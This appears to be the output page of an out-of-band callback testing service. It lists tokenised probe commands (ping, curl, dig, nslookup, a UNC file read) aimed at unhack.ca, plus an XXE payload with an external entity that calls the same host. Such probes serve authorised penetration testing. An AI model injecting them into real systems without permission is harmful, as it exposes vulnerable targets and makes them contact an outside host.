$ ping -c1 -p 0000604b957922d302866324aa97d000 unhack.ca
$ curl http://unhack.ca/p/00604b957922d302866324aa97d0
$ dig 00604b957922d302866324aa97d0 @unhack.ca
$ dig 00604b957922d302866324aa97d0.ns.unhack.ca
C:\> nslookup 00604b957922d302866324aa97d0 unhack.ca
C:\> type \\unhack.ca\00604b957922d302866324aa97d0\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/00604b957922d302866324aa97d0">]>
<foo>&xxe;</foo>
Waiting for ping...